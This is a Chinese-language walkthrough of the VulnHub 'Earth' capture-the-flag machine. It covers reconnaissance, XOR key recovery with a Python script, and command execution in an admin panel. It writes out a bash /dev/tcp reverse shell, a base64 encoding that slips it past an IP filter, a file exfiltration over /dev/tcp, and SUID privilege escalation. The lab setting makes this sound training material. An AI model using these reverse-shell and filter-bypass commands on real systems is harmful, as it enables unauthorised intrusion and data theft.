靶场实战【VulnHub】1 —Earth

admin 2023年12月18日01:38:36评论17 views字数 7351阅读24分30秒阅读模式


涉及知识点:

nmap端口扫描dirb目录扫描密钥获取反弹shellSUID提权


虚拟机地址链接 https://www.vulnhub.com/entry/the-planets-earth,755/
此靶场共有2个flag, user_flag及root_flag
完成此靶场分4步进行

  1. 获取目标信息

  2. 获取用户及密码

  3. 连接靶机反弹shell

  4. 获取根帐户

0x01 获取目标信息

1.确认靶机地址

使用netdiscover命令netdiscover -r 192.168.10.0/24获取靶机地址:192.168.10.100
(netdiscover用于局域网(LAN)中,通过 ARP(地址解析协议)请求来查找其他活动主机。ARP 请求通常用于查找与本地网络中的 MAC 地址相关的 IP 地址。
-r指定要扫描的目标 IP 地址范围。此命令需root权限。)
靶场实战【VulnHub】1 —Earth

2.扫描端口信息

使用nmap命令sudo nmap -A 192.168.10.100扫描靶机开放的端口及操作系统检测和版本检测。
靶场实战【VulnHub】1 —Earth
获取信息如下:

  1. 靶机有3 个端口打开,22、80 和 443。

  2. 22端口为ssh服务,80为http服务,443为https服务。

  3. 443端口有2个DNS解析为DNS:earth.local, DNS:terratest.earth.local

  4. 系统使用mod_wsgi及python 3.9

3.获取网页信息

  1. 将DNS解析添加至hosts文件中,使用命令vim etc/hosts添加``192.168.10.100 earth.local terratest.earth.local

  2. 访问https://earth.local/、https://terratest.earth.local/、http://earth.local/、http://terratest.earth.local/
    靶场实战【VulnHub】1 —Earth
    靶场实战【VulnHub】1 —Earth
    靶场实战【VulnHub】1 —Earth
    我们发现在如下信息:
    1.https://earth.local/、http://earth.local/、http://terratest.earth.local/页面相同,存在交互界面,发送信息后下方有显示,并且下方有3条加密信息为之前发送的信息。
    2.https://terratest.earth.local/页面提示测试站点,请忽略。

4.扫描网站目录

使用dirb分别对四个网址的网站目录进行扫描。

dirb https://earth.local/
dirb http://earth.local/
dirb https://terratest.earth.local/
dirb http://terratest.earth.local/

结果如下:
靶场实战【VulnHub】1 —Earth
靶场实战【VulnHub】1 —Earth
靶场实战【VulnHub】1 —Earth
靶场实战【VulnHub】1 —Earth
筛选有用地址,为https://earth.local/admin和https://terratest.earth.local/robots.txt
靶场实战【VulnHub】1 —Earth
靶场实战【VulnHub】1 —Earth
识别信息:

  1. 用户登录地址https://earth.local/admin/login,需要用户名及密码

  2. 地址https://terratest.earth.local/下存在名为testingnotes的文件,后缀未知

0x02 获取用户及密码(user_flag)

1.处理页面信息

对testingnotes文件后缀进行fuzz代码如下

ffuf -w file_extension.txt -u https://terratest.earth.local/testingnotes.FUZZ

-w指定字典,-u指定url,FUZZ为占位符,通过字典中的内容对FUZZ进行替换
靶场实战【VulnHub】1 —Earth
确认文件后缀为.txt,访问获取信息如下:
靶场实战【VulnHub】1 —Earth
译文如下:

测试安全消息系统注意事项:
*使用XOR加密作为算法,应该像在RSA中使用一样安全。
*地球已经确认他们收到了我们发送的信息。
*testdata.txt用于测试加密。
*terra用作管理门户的用户名。
Todo:
*我们如何安全地将每月的密钥发送到地球?还是我们应该每周更换钥匙?
*需要测试不同的密钥长度以防止暴力。钥匙应该有多长?
*需要改进消息传递界面和管理面板的界面,这是目前非常基本的。

从上述信息中我们可以获取有效信息如下:

  1. 管理账户的用户名为terra。

  2. testdata.txt内容为首页原始3条信息中的一条。

  3. 加密方式为XOR加密

2.获取密钥

访问https://terratest.earth.local/testdata.txt获取明文内容如下:

According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.

XOR加密特点是明文和密文密钥之间可相互解密,即明文与密文进行异或运算即可
由于密文是16进制表示的,首先需要讲密文还原为2进制数据,然后进行异或处理,这里可以使用python脚本具体脚本内容如下:

import binascii
def xor_operation(text,key):
#异或运算函数,对两个字符串进行异或运算
    text_bytes = text.encode()#将text转化为字节序列
    key_bytes = key.encode()#将key转化为字节序列
    result=[]#定义列表用于存放位异或结果
    for i in range(len(text_bytes)):
    #遍历text每一位与key的每一位做异或运算并存储结果
        result.append(text_bytes[i] ^ key_bytes[i % len(key_bytes)])
    ciphertext=bytes(result)
    return ciphertext
def text_byte(text):
#将16进制表示的密文转换为二进制数据
    return binascii.unhexlify(text).decode()
def xor_decrypt(ciphertext,key):
#异或解密过程
    return str(xor_operation(text_byte(ciphertext), key))[2:-1]
text="According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
ciphertext1="37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40"
ciphertext2="3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45"
ciphertext3="2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"
print(xor_decrypt(ciphertext1,text))
print(xor_decrypt(ciphertext2,text))
print(xor_decrypt(ciphertext3,text))

靶场实战【VulnHub】1 —Earth
通过运行结果可知,ciphertext3为对应的密文,密钥为earthclimatechangebad4humans

3.尝试登录

访问https://earth.local/admin/login,尝试使用用户名terra,密钥earthclimatechangebad4humans进行登录,发现登录成功。
靶场实战【VulnHub】1 —Earth
页面为管理员命令工具,输入命令并提交可进行回显。

4.获取user_flag

使用命令find / -name "*flag*"查找当前权限下所有带flag名称的文件。
靶场实战【VulnHub】1 —Earth
使用命令cat /var/earth_web/user_flag.txt获取user_flag[user_flag_3353b67d6437f07ba7d34afd7d2fc27d]

0x03 连接靶机反弹shell

1.确认限制机制

使用netcat反弹shell

kali执行nc -lvp 4444(l开启监听v详细输出p指定端口)开启端口监听
页面执行bash -i >& /dev/tcp/192.168.10.107/4444 0>&1,使用时需要将ip地址换成自己的kali地址。
bash -i:这部分启动一个交互式的 Bash shell,
>& /dev/tcp/192.168.10.107/4444:这部分将标准输出(>&)重定向到指定的 IP 地址(192.168.10.107)和端口(4444)。这是一个反向 shell 连接的目标地址和端口,攻击者将连接到该地址以获取 shell 访问。
0>&1:这部分将标准输入(0)也重定向到标准输出(1)。这是为了确保输入和输出都可以在连接建立后进行交互。

执行后报错Remote connections are forbidden(禁止远程链接)
靶场实战【VulnHub】1 —Earth
存在命令内容过滤机制。

分析过滤机制

从nmap扫描结果获取到网站使用mod_wsgi及python 3.9,意味着过滤机制使用pyhton进行编写,根据报错信息,在系统文件中对python问件内容搜索错误信息,即为过滤限制文件
find / -name "*.py" -type f |xargs grep "Remote connections are forbidden"
确认限制文件地址/var/earth_web/secure_message/forms.py
cat /var/earth_web/secure_message/forms.py查看文件内容存在ip地址限制
靶场实战【VulnHub】1 —Earth
d{1,3}匹配的是1-3个数字组成的字符串,即'd{1,3}.d{1,3}.d{1,3}.d{1,3}'将匹配所有IPV4的地址。

2.绕过限制反弹shell

将命令进行base64编码进行绕过
kaili终端执行echo "bash -i >& /dev/tcp/192.168.10.107/4444 0>&1" | base64
编码后结果YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwNy80NDQ0IDA+JjEK
网页端执行命

echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEwNy80NDQ0IDA+JjEK" |base64 -d |bash

管道符"|"左边命令的输出就会作为管道符右边命令的输入,base64 -d解密,bash用于强制此命令作为脚本运行。
查看 kaili终端netcat 侦听器,出现回显,成功获得bash。
靶场实战【VulnHub】1 —Earth

0x04 提权(root_flag)

1.收集主机信息

查看当前用户为apache,非root权限whoami``id
靶场实战【VulnHub】1 —Earth

2.SUID提权

寻找SUID文件

SUID位是一种特殊的权限位,用于在执行文件时将进程的有效用户 ID 切换为文件所有者的用户 ID。这允许普通用户在执行具有SUID位的文件时以文件所有者的权限执行它,通常是root用户的权限。这样,普通用户可以在不拥有root权限的情况下执行具有特权操作的程序。
这意味着我们需要寻找一个可以由 apache 用户以 root 权限执行的文件。
命令如下:

find / -perm -u=s -type f 2>/dev/null

-perm表示按权限查找,-u=s表示查找具有SUID位设置的文件 ,-type f表示搜索内容为文件。2>/dev/null将错误消息重定向到/dev/null,以避免在搜索期间看到不必要的错误消息
靶场实战【VulnHub】1 —Earth
发现reset_root文件,重置root,感觉就是我们需要的文件。
运行文件/usr/bin/reset_root
靶场实战【VulnHub】1 —Earth
发现文件报错无法运行,将文件内容传至kaili尝试进行分析。
kali启动一个新的监听窗口nc -lvp 5555 >reset_root
反弹shell执行命令cat /usr/bin/reset_root > /dev/tcp/192.168.10.107/5555
成功获取文件reset_root内容

文件分析

为文件添加执行权限chmod +x reset_root
使用strace分析文件执行情况。
strace是Linux调试分析诊断工具,可用于跟踪程序执行时进程系统调用和所接收的信号,尤其是针对源码不可读或源码无法再编译的程序。可跟踪进程产生的系统调用,包括参数、返回值和执行所消耗的时间
执行命令strace ./reset_root
靶场实战【VulnHub】1 —Earth
没有/dev/shm/kHgTFI5G,/dev/shm/Zw7bV9U5,/tmp/kcM0Wewe文件而报错,
查看靶机发现也没有这三个文件。
靶场实战【VulnHub】1 —Earth

提权

根据报错信息创建文件

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

再次运行文件/usr/bin/reset_root
靶场实战【VulnHub】1 —Earth
提示将ROOT密码重置为Earth,使用su root命令输入密码
靶场实战【VulnHub】1 —Earth
无错误提示,查看id信息
靶场实战【VulnHub】1 —Earth
我们已经成功将权限提升至root,cd至root目录查看文件获得root_flag文件,cat获得root_flag文件值[root_flag_b0da9554d29db2117b02aa8b66ec492e]
靶场实战【VulnHub】1 —Earth

本文作者:vaughn, 转载请注明来自FreeBuf.COM



原文始发于微信公众号(Hacking黑白红):靶场实战【VulnHub】1 —Earth

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月18日01:38:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶场实战【VulnHub】1 —Earthhttp://cn-sec.com/archives/2291472.html

发表评论

匿名网友 填写信息